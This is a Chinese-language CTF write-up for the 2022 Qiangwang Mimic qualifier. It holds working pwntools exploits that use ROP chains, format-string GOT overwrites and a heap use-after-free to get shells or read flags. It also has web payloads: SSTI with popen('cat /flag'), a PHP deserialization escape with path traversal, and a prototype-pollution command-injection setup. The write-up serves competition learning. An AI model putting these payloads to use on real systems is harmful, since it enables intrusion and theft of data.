强网拟态预选赛2022WriteUp

强网拟态预选赛2022WriteUp

0x01 Reverse

comeongo

前面是base58 后面是base64 最后需要爆破

  1. k2 = b"gG00"
  2. c = [ 0xDD, 0x8F, 0xA1, 0x64]
  3. k = [0x76,0x47,0x67,0x47]
  4. for i in range(32,127-62):
  5. for j in range(32,127-30):
  6. v1 = i+63
  7. v2 = j+31
  8. c1 = 2+ v1 +i
  9. c2 = 3+ v2 +j
  10. if(c1&0xff == c[2] and c2&0xff == c[3]):
  11. print(chr(i),chr(j),chr(i+63),chr(j+31))

flag{GoM0bi13_BingGo@G3tItEzForRevG0!}

6470d669e15349795c646c9549ab2f98

0x02 PWN

bfbf

数组下标溢出,单字节leak和修改,沙箱按道理是只限制了read的fd为0和1

image.png

现在有个小问题是system不知道为什么get不了shell,orw尝试close(1)然后开flag的文件描述符到1来读read(1,addr,0x50)也读不进目标地址,有点问题……

更新:

open不能用open64,现在mprotect一个elf上的rwx权限走普通open就能orw

目前的exp:

  1. from pwn import *
  2. context(os = 'linux',arch = 'amd64',log_level = 'debug')
  3. mode = 0
  4. if mode == 1:
  5. p = process("./pwn")
  6. else:
  7. p = remote("ip",port)
  8. def debug():
  9. gdb.attach(p)
  10. pause()
  11. # libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")
  12. libc = ELF("./libc.so.6")
  13. # gdb.attach(p,'b *(0x555555554000 + 0x1955 )')
  14. # pause()
  15. p.recvuntil("BF_PARSER>>\n")
  16. payload = '>' * (0x218) + '.'
  17. payload += '>' + '.'
  18. payload += '>' + '.'
  19. payload += '>' + '.'
  20. payload += '>' + '.'
  21. payload += '>' + '.'
  22. payload += '<' * 5
  23. payload += '>' * (0x20) + '.'
  24. payload += '>' + '.'
  25. payload += '>' + '.'
  26. payload += '>' + '.'
  27. payload += '>' + '.'
  28. payload += '>' + '.'
  29. payload += '<' * 5
  30. # read /flag
  31. for i in range(6):
  32. # pop rdi + args
  33. payload += ',' + '>'
  34. payload += ',' + '>'
  35. payload += ',' + '>'
  36. payload += ',' + '>'
  37. payload += ',' + '>'
  38. payload += ',' + '>'
  39. payload += ',' + '>'
  40. payload += ',' + '>'
  41. # read
  42. payload += ',' + '>'
  43. payload += ',' + '>'
  44. payload += ',' + '>'
  45. payload += ',' + '>'
  46. payload += ',' + '>'
  47. payload += ',' + '>'
  48. payload += ',' + '>'
  49. payload += ',' + '>'
  50. # close 1
  51. for i in range(2):
  52. # pop rdi + args
  53. payload += ',' + '>'
  54. payload += ',' + '>'
  55. payload += ',' + '>'
  56. payload += ',' + '>'
  57. payload += ',' + '>'
  58. payload += ',' + '>'
  59. payload += ',' + '>'
  60. payload += ',' + '>'
  61. # close
  62. payload += ',' + '>'
  63. payload += ',' + '>'
  64. payload += ',' + '>'
  65. payload += ',' + '>'
  66. payload += ',' + '>'
  67. payload += ',' + '>'
  68. payload += ',' + '>'
  69. payload += ',' + '>'
  70. # mprotect
  71. # pop args
  72. for i in range(6):
  73. # pop rdi + args
  74. payload += ',' + '>'
  75. payload += ',' + '>'
  76. payload += ',' + '>'
  77. payload += ',' + '>'
  78. payload += ',' + '>'
  79. payload += ',' + '>'
  80. payload += ',' + '>'
  81. payload += ',' + '>'
  82. # mprotect
  83. payload += ',' + '>'
  84. payload += ',' + '>'
  85. payload += ',' + '>'
  86. payload += ',' + '>'
  87. payload += ',' + '>'
  88. payload += ',' + '>'
  89. payload += ',' + '>'
  90. payload += ',' + '>'
  91. # ret addr
  92. payload += ',' + '>'
  93. payload += ',' + '>'
  94. payload += ',' + '>'
  95. payload += ',' + '>'
  96. payload += ',' + '>'
  97. payload += ',' + '>'
  98. payload += ',' + '>'
  99. payload += ',' + '>'
  100. p.send(payload)
  101. libc_addr = 0
  102. elf_addr = 0
  103. # leak elf
  104. for i in range(6):
  105. # pause()
  106. sleep(0.1)
  107. lowbit = u64(p.recv(1).ljust(8,b'\x00'))
  108. elf_addr = elf_addr + ( lowbit << ( i * 8 ) )
  109. log.info("elf_addr : 0x%x" % elf_addr)
  110. elf_base = elf_addr - 0x1955
  111. bss_addr = elf_base + 0x4000
  112. log.info("elf_base : 0x%x" % elf_base)
  113. # leak
  114. for i in range(6):
  115. # pause()
  116. sleep(0.1)
  117. lowbit = u64(p.recv(1).ljust(8,b'\x00'))
  118. libc_addr = libc_addr + ( lowbit << ( i * 8 ) )
  119. log.info("libc_addr : 0x%x" % libc_addr)
  120. libc_base = libc_addr - 243 - libc.symbols['__libc_start_main']
  121. log.info("libc_base : 0x%x" % libc_base)
  122. pop_r12_ret = libc_base + 0x000000000002f709 # : pop r12 ; ret
  123. pop_rdi_ret = libc_base + 0x0000000000023b6a # : pop rdi ; ret
  124. pop_rsi_ret = libc_base + 0x000000000002601f # : pop rsi ; ret
  125. pop_rdx_ret = libc_base + 0x0000000000142c92 # : pop rdx ; ret
  126. ret = libc_base + 0x0000000000022679 # : ret
  127. bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
  128. system_addr = libc_base + libc.symbols['system']
  129. read_addr = libc_base + libc.symbols['read']
  130. write_addr = libc_base + libc.symbols['write']
  131. open_addr = libc_base + libc.symbols['open']
  132. close_addr = libc_base + libc.symbols['close']
  133. mprotect_addr = libc_base + libc.symbols['mprotect']
  134. log.info("bin_sh_addr : 0x%x" % bin_sh_addr)
  135. log.info("system_addr : 0x%x" % system_addr)
  136. # mprotect
  137. # pop rdi
  138. sleep(0.1)
  139. p.send(p64(pop_rdi_ret))
  140. # addr
  141. sleep(0.1)
  142. p.send(p64(bss_addr))
  143. # pop rsi
  144. sleep(0.1)
  145. p.send(p64(pop_rsi_ret))
  146. # prot
  147. sleep(0.1)
  148. p.send(p64(0x1000))
  149. # pop rdx
  150. sleep(0.1)
  151. p.send(p64(pop_rdx_ret))
  152. # len
  153. sleep(0.1)
  154. p.send(p64(7))
  155. sleep(0.1)
  156. p.send(p64(mprotect_addr))
  157. # read
  158. # pop rdi
  159. sleep(0.1)
  160. p.send(p64(pop_rdi_ret))
  161. # 0
  162. sleep(0.1)
  163. p.send(p64(0))
  164. # pop rsi
  165. sleep(0.1)
  166. p.send(p64(pop_rsi_ret))
  167. # target addr
  168. sleep(0.1)
  169. p.send(p64(bss_addr))
  170. # pop rdx
  171. sleep(0.1)
  172. p.send(p64(pop_rdx_ret))
  173. # len
  174. sleep(0.1)
  175. p.send(p64(0x300))
  176. sleep(0.1)
  177. p.send(p64(read_addr))
  178. # close
  179. # pop rdi
  180. sleep(0.1)
  181. p.send(p64(pop_rdi_ret))
  182. # 1
  183. sleep(0.1)
  184. p.send(p64(1))
  185. sleep(0.1)
  186. p.send(p64(close_addr))
  187. sleep(0.1)
  188. p.send(p64(bss_addr))
  189. # pause()
  190. sleep(0.2)
  191. payload = asm(shellcraft.open("/flag\x00"))
  192. payload += asm(shellcraft.read(1,bss_addr + 0x500,0x50))
  193. payload += asm(shellcraft.write(2,bss_addr + 0x500,0x50))
  194. p.send(payload)
  195. p.interactive()

写one gadget也不得,不知道为什么,本地gdb调试的界面显示执行了/bin/dash,但是终端哪里寄了,远程显示timeout。看起来好像是execve被ban了,但是沙箱没有写。

  1. from pwn import*
  2. context(log_level='debug',os='linux',arch='amd64')
  3. filename='pwn2'
  4. elf=ELF('./'+filename)
  5. libc=ELF('./libc.so.6')
  6. p=process('./'+filename)
  7. #p=remote('172.51.63.218',9999)
  8. s = lambda data :p.send(data)
  9. sl = lambda data :p.sendline(data)
  10. r = lambda num=4096 :p.recv(num)
  11. rl = lambda num=4096 :p.recvline(num)
  12. ru = lambda x :p.recvuntil(x)
  13. itr = lambda :p.interactive()
  14. uu32 = lambda data :u32(data.ljust(4,'\x00'))
  15. uu64 = lambda data :u64(data.ljust(8,'\x00'))
  16. leak = lambda name,addr :log.success('{} = {}'.format(name, addr))
  17. def debug(cmd='\n'):
  18. gdb.attach(p,cmd)
  19. pause()
  20. ru("BF_PARSER>>\n")
  21. # payload='>'*0x240+'.>'*0x8+'>'*0x20+'.>'*0x8
  22. # s(payload)
  23. # data1=uu64(r(8))
  24. # leak("data",hex(data1))
  25. # data2=uu64(r(8))
  26. # leak("data",hex(data2))
  27. #leak
  28. payload='>'*0x240+'.>'*0x8
  29. payload+='<'*0x10+',>'*0x20
  30. s(payload)
  31. # elfbase=uu64(r(8))-0x1955
  32. # leak("elfbase",hex(elfbase))
  33. sleep(0.4)
  34. libcbase=uu64(r(8))-0x221620
  35. leak("libcbase",hex(libcbase))
  36. #debug()
  37. #overwrite ret
  38. pop_r12=libcbase+0x2f709 #9.8
  39. #pop_r12=libcbase+0x2f739
  40. one_gadget=libcbase+0xe3afe #9.8
  41. #one_gadget=libcbase+0xe3b2e
  42. ret=libcbase+0x22679
  43. leak("pop r12",hex(pop_r12))
  44. leak("one gadget",hex(one_gadget))
  45. payload=p64(ret)+p64(pop_r12)+p64(0)+p64(one_gadget)
  46. for i in range(len(payload)):
  47. s(payload[i])
  48. # sl("cat flag")
  49. itr()
  50. # 0xe3afe execve("/bin/sh", r15, r12)
  51. # constraints:
  52. # [r15] == NULL || r15 == NULL
  53. # [r12] == NULL || r12 == NULL
  54. # 0xe3b01 execve("/bin/sh", r15, rdx)
  55. # constraints:
  56. # [r15] == NULL || r15 == NULL
  57. # [rdx] == NULL || rdx == NULL
  58. # 0xe3b04 execve("/bin/sh", rsi, rdx)
  59. # constraints:
  60. # [rsi] == NULL || rsi == NULL
  61. # [rdx] == NULL || rdx == NULL

0x03 mimc

pwn1

格式化字符串写print got

  1. from pwn import *
  2. from LibcSearcher import *
  3. context(os = 'linux',arch = 'amd64',log_level = 'debug')
  4. mode = 0
  5. if mode == 1:
  6. p = process("./pwn1")
  7. else:
  8. p = remote("ip",port)
  9. def debug():
  10. gdb.attach(p)
  11. pause()
  12. # gdb.attach(p,'b *(0x555555400000 + 0xAE9 )')
  13. # pause()
  14. p.recvuntil("Welcome to mimic world,try something\n")
  15. p.sendline(str(1))
  16. p.recvuntil("You will find some tricks\n")
  17. p.recvuntil("0x")
  18. elf_addr = int(p.recv(12),16)
  19. elf_base = elf_addr - 0xa94
  20. get_shell = elf_base + 0xA2c
  21. system_plt = elf_base + 0x870
  22. system_got = elf_base + 0x202030
  23. printf_got = elf_base + 0x202038
  24. sleep(0.5)
  25. p.sendline(str(2))
  26. p.recvuntil("hello\n")
  27. addr6 = (system_plt >> 8 * 5) &amp; 0xff
  28. addr5 = (system_plt >> 8 * 4) &amp; 0xff
  29. addr4 = (system_plt >> 8 * 3) &amp; 0xff
  30. addr3 = (system_plt >> 8 * 2) &amp; 0xff
  31. addr2 = (system_plt >> 8 * 1) &amp; 0xff
  32. addr1 = (system_plt >> 8 * 0) &amp; 0xff
  33. log.info("addr1 : 0x%x" % addr1)
  34. log.info("addr2 : 0x%x" % addr2)
  35. log.info("addr3 : 0x%x" % addr3)
  36. log.info("addr4 : 0x%x" % addr4)
  37. log.info("addr5 : 0x%x" % addr5)
  38. log.info("addr6 : 0x%x" % addr6)
  39. # addr6
  40. payload = "%" + str(addr6) + "c%18$hhn"
  41. # addr5
  42. if addr5 > addr6:
  43. payload += "%" +str(addr5 - addr6) + "c%19$hhn"
  44. else:
  45. payload += "%" +str( 0x100 + addr5 - addr6) + "c%19$hhn"
  46. # addr4
  47. if addr4 > addr5:
  48. payload += "%" +str(addr4 - addr5) + "c%20$hhn"
  49. else:
  50. payload += "%" +str( 0x100 + addr4 - addr5) + "c%20$hhn"
  51. # addr3
  52. if addr3 > addr4:
  53. payload += "%" +str(addr3 - addr4) + "c%21$hhn"
  54. else:
  55. payload += "%" +str( 0x100 + addr3 - addr4) + "c%21$hhn"
  56. # addr2
  57. if addr2 > addr3:
  58. payload += "%" +str(addr2 - addr3) + "c%22$hhn"
  59. else:
  60. payload += "%" +str( 0x100 + addr2 - addr3) + "c%22$hhn"
  61. # addr1
  62. if addr1 > addr2:
  63. payload += "%" +str(addr1 - addr2) + "c%23$hhn"
  64. else:
  65. payload += "%" +str( 0x100 + addr1 - addr2) + "c%23$hhn"
  66. log.info("printf_got : 0x%x" % printf_got)
  67. print("len of payload now : " + str(hex(len(payload))))
  68. payload = payload.ljust(0x50, 'a')
  69. payload += p64(printf_got + 5).decode('unicode_escape')
  70. payload += p64(printf_got + 4).decode('unicode_escape')
  71. payload += p64(printf_got + 3).decode('unicode_escape')
  72. payload += p64(printf_got + 2).decode('unicode_escape')
  73. payload += p64(printf_got + 1).decode('unicode_escape')
  74. payload += p64(printf_got).decode('unicode_escape')
  75. sleep(0.5)
  76. p.send(payload)
  77. log.info("elf_addr : 0x%x" % elf_addr)
  78. log.info("elf_base : 0x%x" % elf_base)
  79. log.info("system_plt : 0x%x" % system_plt)
  80. sleep(0.1)
  81. payload = '/bin/sh\x00'
  82. p.send(payload)
  83. # debug()
  84. p.interactive()

pwn1-1

pwn1原题ctf,改一下参数直接通

  1. from pwn import *
  2. from LibcSearcher import *
  3. context(os = 'linux',arch = 'amd64',log_level = 'debug')
  4. mode = 0
  5. if mode == 1:
  6. fang = process("./pwn1_1")
  7. else:
  8. fang = remote("172.51.61.218",9999)
  9. def debug():
  10. gdb.attach(fang)
  11. pause()
  12. # gdb.attach(fang,'b *(0x555555400000 + 0x1547 )')
  13. # pause()
  14. fang.recvuntil("Welcome to mimic world,try something\n")
  15. fang.sendline(str(1))
  16. fang.recvuntil("You will find some tricks\n")
  17. fang.recvuntil("0x")
  18. elf_addr = int(fang.recv(12),16)
  19. elf_base = elf_addr - 0x12a0
  20. system_plt = elf_base + 0x1040
  21. printf_got = elf_base + 0x4028
  22. log.info("elf_base : 0x%x" % elf_base)
  23. log.info("system_plt : 0x%x" % system_plt)
  24. log.info("printf_got : 0x%x" % printf_got)
  25. sleep(0.5)
  26. fang.sendline(str(2))
  27. fang.recvuntil("hello\n")
  28. addr6 = (system_plt >> 8 * 5) &amp; 0xff
  29. addr5 = (system_plt >> 8 * 4) &amp; 0xff
  30. addr4 = (system_plt >> 8 * 3) &amp; 0xff
  31. addr3 = (system_plt >> 8 * 2) &amp; 0xff
  32. addr2 = (system_plt >> 8 * 1) &amp; 0xff
  33. addr1 = (system_plt >> 8 * 0) &amp; 0xff
  34. log.info("addr1 : 0x%x" % addr1)
  35. log.info("addr2 : 0x%x" % addr2)
  36. log.info("addr3 : 0x%x" % addr3)
  37. log.info("addr4 : 0x%x" % addr4)
  38. log.info("addr5 : 0x%x" % addr5)
  39. log.info("addr6 : 0x%x" % addr6)
  40. # addr6
  41. payload = "%" + str(addr6) + "c%18$hhn"
  42. # addr5
  43. if addr5 > addr6:
  44. payload += "%" +str(addr5 - addr6) + "c%19$hhn"
  45. else:
  46. payload += "%" +str( 0x100 + addr5 - addr6) + "c%19$hhn"
  47. # addr4
  48. if addr4 > addr5:
  49. payload += "%" +str(addr4 - addr5) + "c%20$hhn"
  50. else:
  51. payload += "%" +str( 0x100 + addr4 - addr5) + "c%20$hhn"
  52. # addr3
  53. if addr3 > addr4:
  54. payload += "%" +str(addr3 - addr4) + "c%21$hhn"
  55. else:
  56. payload += "%" +str( 0x100 + addr3 - addr4) + "c%21$hhn"
  57. # addr2
  58. if addr2 > addr3:
  59. payload += "%" +str(addr2 - addr3) + "c%22$hhn"
  60. else:
  61. payload += "%" +str( 0x100 + addr2 - addr3) + "c%22$hhn"
  62. # addr1
  63. if addr1 > addr2:
  64. payload += "%" +str(addr1 - addr2) + "c%23$hhn"
  65. else:
  66. payload += "%" +str( 0x100 + addr1 - addr2) + "c%23$hhn"
  67. log.info("printf_got : 0x%x" % printf_got)
  68. print("len of payload now : " + str(hex(len(payload))))
  69. payload = payload.ljust(0x50, 'a')
  70. payload += p64(printf_got + 5).decode('unicode_escape')
  71. payload += p64(printf_got + 4).decode('unicode_escape')
  72. payload += p64(printf_got + 3).decode('unicode_escape')
  73. payload += p64(printf_got + 2).decode('unicode_escape')
  74. payload += p64(printf_got + 1).decode('unicode_escape')
  75. payload += p64(printf_got).decode('unicode_escape')
  76. sleep(0.5)
  77. fang.send(payload)
  78. log.info("elf_addr : 0x%x" % elf_addr)
  79. log.info("elf_base : 0x%x" % elf_base)
  80. log.info("system_plt : 0x%x" % system_plt)
  81. pause()
  82. payload = '/bin/sh\x00'
  83. fang.send(payload)
  84. # debug()
  85. fang.interactive()

pwn2-1

简单的堆,UAF加上一点风水,把函数指针改成后门magic()。

  1. struct note
  2. {
  3. _QWORD* ptr=&amp;print_note_content;
  4. _QWORD* content=malloc(size);
  5. }
  1. from pwn import*
  2. context(log_level='debug',os='linux',arch='amd64')
  3. filename='pwn2'
  4. elf=ELF('./'+filename)
  5. #libc=ELF('')
  6. #p=process('./'+filename)
  7. p=remote('',9999)
  8. s = lambda data :p.send(data)
  9. sl = lambda data :p.sendline(data)
  10. r = lambda num=4096 :p.recv(num)
  11. rl = lambda num=4096 :p.recvline(num)
  12. ru = lambda x :p.recvuntil(x)
  13. itr = lambda :p.interactive()
  14. uu32 = lambda data :u32(data.ljust(4,'\x00'))
  15. uu64 = lambda data :u64(data.ljust(8,'\x00'))
  16. leak = lambda name,addr :log.success('{} = {}'.format(name, addr))
  17. def debug(cmd='\n'):
  18. gdb.attach(p,cmd)
  19. pause()
  20. def add(size,content):
  21. ru("Your choice :")
  22. sl('1')
  23. ru("Note size :")
  24. sl(str(size))
  25. ru("Content :")
  26. s(content)
  27. def delete(idx):
  28. ru("Your choice :")
  29. sl('2')
  30. ru("Index :")
  31. sl(str(idx))
  32. def show(idx):
  33. ru("Your choice :")
  34. sl('3')
  35. ru("Index :")
  36. sl(str(idx))
  37. #get tips
  38. ru("Your choice :")
  39. sl('5')
  40. ru("let us give you some tips\n")
  41. elfbase=int(ru('\n')[2:-1],16)-0x11f0
  42. leak("elf base",hex(elfbase))
  43. backdoor=elfbase+0x1b70
  44. #debug()
  45. #can double free
  46. add(0x10,'a'*0x8)#0
  47. add(0x10,'b'*0x8)#1
  48. add(0x10,'c'*0x8)#2
  49. delete(0)
  50. delete(1)
  51. #1h->1c->0h->0c
  52. add(0x20,'d'*0x8)#3
  53. add(0x10,p64(backdoor))#4
  54. #3=1h->new
  55. #4=1c->0h
  56. #debug()
  57. show(0)
  58. itr()

web-mimc

  1. <!--
  2. NTLM:3dbde697d71690a769204beb12283678
  3. encrypt word:c81f6e7cfb6968ba5b8d1f1b6cc76bbe9f8105375c227952723fd98478af78cf8aca554158b6d943c984681049be1a1368b2331cbe151ae1bce049f893bfbafebe6b6c5cf2d2d8136caec5f7171f00afd77c73de693878e0adebb72c6b0c2f5ff6a339616e87e1275e06a8f0d7faa0ff04ce1c5f1403500f17bf1ae06e2d6417ffbe262270c6370a764de313fcc33ba0081dd631d31a3b876a5478545021b839
  4. -->

NTLM hash

image.png

  1. #des decrypt
  2. def des_Decrypt(key,data):
  3. from Crypto.Cipher import DES
  4. des = DES.new(key, DES.MODE_ECB, )
  5. text = des.decrypt(data)
  6. return text
  7. c = bytes.fromhex("c81f6e7cfb6968ba5b8d1f1b6cc76bbe9f8105375c227952723fd98478af78cf8aca554158b6d943c984681049be1a1368b2331cbe151ae1bce049f893bfbafebe6b6c5cf2d2d8136caec5f7171f00afd77c73de693878e0adebb72c6b0c2f5ff6a339616e87e1275e06a8f0d7faa0ff04ce1c5f1403500f17bf1ae06e2d6417ffbe262270c6370a764de313fcc33ba0081dd631d31a3b876a5478545021b839")
  8. k = bytes.fromhex("3dbde697d71690a769204beb12283678")
  9. k = b"123\x00\x00\x00\x00\x00"
  10. print(des_Decrypt(k,c))

解密得:

  1. 1.maybe used first url get random:
  2. /mimic_storage
  3. 2.maybe used second url get flag:
  4. /getflag?sec=random&amp;path=xxxx
  5. xxx is:
  6. bAzlsD1ChiFW5eMC5tUokHErPkdjqARE

image.png

0x04 Web

EZpy

存在模板注入

image.png

大小写转换,存在unicode绕过,直接shift+空格快速开启全角和半角的转换,使用unicode绕过,找到132的位置是os.__wrap__close ,然后把正常payload换成全角即可,也可以使用下面的脚本生成字符:

  1. ().__ᶜˡᵃˢˢ__.__ᵇᵃˢᵉˢ__[0].__ˢᵘᵇᶜˡᵃˢˢᵉˢ__()
  2. 编码生成
  3. import zhconv
  4. from unicodedata import normalize
  5. for i in range(1,50000):
  6. a=zhconv.convert(normalize('NFKD', chr(i)), 'zh-hant')
  7. if a in "a":
  8. print(chr(i))
  1. {{().__ᶜˡᵃˢˢ__.__ᵇᵃˢᵉˢ__[0].__ˢᵘᵇᶜˡᵃˢˢᵉˢ__()[213]}} #warnings.catch_warning
  2. {{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

ezus

  1. <?php
  2. include 'tm.php'; // Next step in tm.php
  3. if (preg_match('/tm\.php\/*$/i', $_SERVER['PHP_SELF']))
  4. {
  5. exit("no way!");
  6. }
  7. if (isset($_GET['source']))
  8. {
  9. $path = basename($_SERVER['PHP_SELF']);
  10. if (!preg_match('/tm.php$/', $path) &amp;&amp; !preg_match('/index.php$/', $path))
  11. {
  12. exit("nonono!");
  13. }
  14. highlight_file($path);
  15. exit();
  16. }
  17. ?>
  18. <a href="index.php?source">source</a>

部分知识点之前考过:https://blog.csdn.net/mochu7777777/article/details/127216646

  1. /index.php/tm.php/%88?source

拿到源码:

  1. <?php
  2. class UserAccount
  3. {
  4. protected $username;
  5. protected $password;
  6. public function __construct($username, $password)
  7. {
  8. $this->username = $username;
  9. $this->password = $password;
  10. }
  11. }
  12. function object_sleep($str)
  13. {
  14. $ob = str_replace(chr(0).'*'.chr(0), '@0@0@0@', $str);
  15. return $ob;
  16. }
  17. function object_weakup($ob)
  18. {
  19. $r = str_replace('@0@0@0@', chr(0).'*'.chr(0), $ob);
  20. return $r;
  21. }
  22. class order
  23. {
  24. public $f;
  25. public $hint;
  26. public function __construct($hint, $f)
  27. {
  28. $this->f = $f;
  29. $this->hint = $hint;
  30. }
  31. public function __wakeup()
  32. {
  33. //something in hint.php
  34. if ($this->hint != "pass" || $this->f != "pass") {
  35. $this->hint = "pass";
  36. $this->f = "pass";
  37. }
  38. }
  39. public function __destruct()
  40. {
  41. if (filter_var($this->hint, FILTER_VALIDATE_URL))
  42. {
  43. $r = parse_url($this->hint);
  44. if (!empty($this->f)) {
  45. if (strpos($this->f, "try") !== false &amp;&amp; strpos($this->f, "pass") !== false) {
  46. @include($this->f . '.php');
  47. } else {
  48. die("try again!");
  49. }
  50. if (preg_match('/prankhub$/', $r['host'])) {
  51. @$out = file_get_contents($this->hint);
  52. echo "<br/>".$out;
  53. } else {
  54. die("<br/>error");
  55. }
  56. } else {
  57. die("try it!");
  58. }
  59. }
  60. else
  61. {
  62. echo "Invalid URL";
  63. }
  64. }
  65. }
  66. $username = $_POST['username'];
  67. $password = $_POST['password'];
  68. $user = serialize(new UserAccount($username, $password));
  69. unserialize(object_weakup(object_sleep($user)))
  70. ?>

一看就是反序列化字符串逃逸:

现在本地测试,测试过程如下:

  1. <?php
  2. class UserAccount
  3. {
  4. protected $username;
  5. protected $password;
  6. public function __construct($username, $password)
  7. {
  8. $this->username = $username;
  9. $this->password = $password;
  10. }
  11. }
  12. class order
  13. {
  14. public $f;
  15. public $hint;
  16. public function __construct($f, $hint)
  17. {
  18. $this->f = $f;
  19. $this->hint = $hint;
  20. }
  21. // public function __wakeup()
  22. // {
  23. // //something in hint.php
  24. // if ($this->hint != "pass" || $this->f != "pass") {
  25. // $this->hint = "pass";
  26. // $this->f = "pass";
  27. // }
  28. // }
  29. public function __destruct()
  30. {
  31. if (filter_var($this->hint, FILTER_VALIDATE_URL))
  32. {
  33. $r = parse_url($this->hint);
  34. if (!empty($this->f)) {
  35. if (strpos($this->f, "try") !== false &amp;&amp; strpos($this->f, "pass") !== false) {
  36. @include($this->f . '.php');
  37. } else {
  38. die("try again!");
  39. }
  40. if (preg_match('/prankhub$/', $r['host'])) {
  41. @$out = file_get_contents($this->hint);
  42. echo "<br/>".$out;
  43. } else {
  44. die("<br/>error");
  45. }
  46. } else {
  47. die("try it!");
  48. }
  49. }
  50. else
  51. {
  52. echo "Invalid URL";
  53. }
  54. }
  55. }
  56. function object_sleep($str)
  57. {
  58. $ob = str_replace(chr(0).'*'.chr(0), '@0@0@0@', $str);
  59. return $ob;
  60. }
  61. function object_weakup($ob)
  62. {
  63. $r = str_replace('@0@0@0@', chr(0).'*'.chr(0), $ob);
  64. return $r;
  65. }
  66. //echo urlencode(serialize(new order("trypass","mochu7://prankhub/../../../../../../../etc/passwd")))."\n";
  67. echo serialize(new order("trypass","mochu7://prankhub/../../../../../../../f1111444449999.txt"))."\n";
  68. //$username=serialize(new order("trypass","mochu7://prankhub/../../../../../../../etc/passwd"));
  69. $username="@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@";
  70. //echo $username."\n";
  71. //$password="1231231231231\";s:11:\"\x00*\x00password\";s:16:\"1231231231231\";}";
  72. //$password="123123123123\";s:11:\"\x00*\x00password\";O:5:\"order\":2:{s:1:\"f\";s:44:\"a://prankhub/../../../../../../../etc/passwd\";s:4:\"hint\";s:7:\"trypass\";}}";
  73. //$password="123123123123\";s:11:\"\x00*\x00password\";O:5:\"order\":2:{s:1:\"f\";s:7:\"trypass\";s:4:\"hint\";s:49:\"v1nd11://prankhub/../../../../../../../etc/passwd\";}}";
  74. //$password="123123123123\";s:11:\"\x00*\x00password\";O:5:\"order\":2:{s:1:\"f\";s:7:\"trypass\";s:4:\"hint\";s:60:\"v1nd11://prankhub/../../../../../../../var/www/html/hint.php\";}}";
  75. $password="123123123123\";s:11:\"\x00*\x00password\";O:5:\"order\":2:{s:1:\"f\";s:7:\"trypass\";s:4:\"hint\";s:57:\"v1nd11://prankhub/../../../../../../../f1111444449999.txt\";}}";
  76. $user = serialize(new UserAccount($username, $password));
  77. echo $user."\n";
  78. $huan=object_weakup(object_sleep($user));
  79. echo $huan."\n";
  80. $u="123";
  81. $p=new order("123","123");
  82. echo serialize(new UserAccount($u,$p))."\n";
  83. $user=unserialize(object_weakup(object_sleep($user)));
  84. var_dump($user);
  85. $test=object_sleep(object_weakup("@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@"));
  86. //echo $test."\n";
  87. //username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&amp;password=11";s:3:"123";s:11:"%00*%00password";O:5:"order":3:{s:1:"f";s:70:"php://filter/read=convert.base64-encode/resource=./try/pass/../../hint";s:4:"hint";s:50:"a://@prankhub/../../../../../../f1111444449999.txt";}}

最终payload:

  1. username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&amp;password=123123123123";s:11:"%00*%00password";O:5:"order":3:{s:1:"f";s:7:"trypass";s:4:"hint";s:57:"v1nd11://prankhub/../../../../../../../f1111444449999.txt";}}

image.png

WHOYOUARE

关键源码:

user.js

  1. const merge = require('../utils/merge')
  2. const bin = "/bin/bash"
  3. const ChildProcess = require('child_process');
  4. function checkUser(command){
  5. if (Array.isArray(command) === false || command.length > 2) {
  6. return false;
  7. }
  8. for (let i = 0; i < command.length; i++) {
  9. let cmd = command[i];
  10. console.log("R: "+RegExp(/^[^a-zA-Z0-9-]+$/).test(command[i]));
  11. console.log("cmd: "+cmd);
  12. if (typeof cmd !== 'string' || cmd.length > 4 || RegExp(/^[^a-zA-Z0-9-]+$/).test(command[i])) {
  13. return false;
  14. }
  15. }
  16. console.log("true");
  17. return true;
  18. }
  19. async function routes (fastify, options) {
  20. fastify.route(
  21. {
  22. method: 'POST',
  23. url: '/user',
  24. schema: {
  25. querystring: {
  26. user: { type: 'string' },
  27. },
  28. additionalProperties: false,
  29. response: {
  30. 200: {
  31. $ref: 'respWrapper#/response/success'
  32. }
  33. }
  34. },
  35. preHandler: function (request, reply, done) {
  36. //user init
  37. request.user = {username : 'guest', command: ["-c", "id"]}
  38. let user = JSON.parse(request.body.user)
  39. // clean user command
  40. if (checkUser(user.command) !== true) {
  41. user.command = ["-c", "id"]
  42. }
  43. try {
  44. merge(request.user, user)
  45. }catch (e){
  46. reply.code(400).send({status: 1, info: "Something error"})
  47. return ;
  48. }
  49. done()
  50. },
  51. handler : function (request, reply) {
  52. ChildProcess.execFile(bin, request.user.command, (error, stdout, stderr) => {
  53. if (error) {
  54. reply.code(400).send({status: 1, info: error})
  55. }
  56. reply.code(200).send({ status : 0 , info : `User of ${request.user.username} : ${stdout}`});
  57. });
  58. }
  59. })
  60. fastify.route({
  61. method: 'GET',
  62. url: '/',
  63. response: {
  64. $ref: 'respWrapper#/response/success'
  65. },
  66. handler: function (request, reply) {
  67. reply.send({ status: 0, info: 'go user' })
  68. }
  69. })
  70. }
  71. module.exports = routes

merge.js

  1. const whileTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];
  2. const merge = (target, source) => {
  3. for (const key in source) {
  4. console.log("1");
  5. console.log("target: "+target[key]);
  6. console.log("source: "+source[key]);
  7. // console.log("type(target): "+typeof target[key]);
  8. if(!whileTypes.includes(typeof source[key]) &amp;&amp; !whileTypes.includes(typeof target[key])){
  9. if(key !== '__proto__'){
  10. console.log("merge");
  11. merge(target[key], source[key]);
  12. }
  13. }else{
  14. console.log("else");
  15. target[key] = source[key];
  16. }
  17. console.log("2");
  18. console.log("target: "+target[key]);
  19. console.log("source: "+source[key]);
  20. }
  21. }
  22. module.exports = merge

默认只支持application/json and text/plain

可以传json,有长度限制,最多四

  1. {"user":"{\"command\":[\"-c\",\"env\"]}"}

存在原型链污染:

image.png

image.png

最终payload:

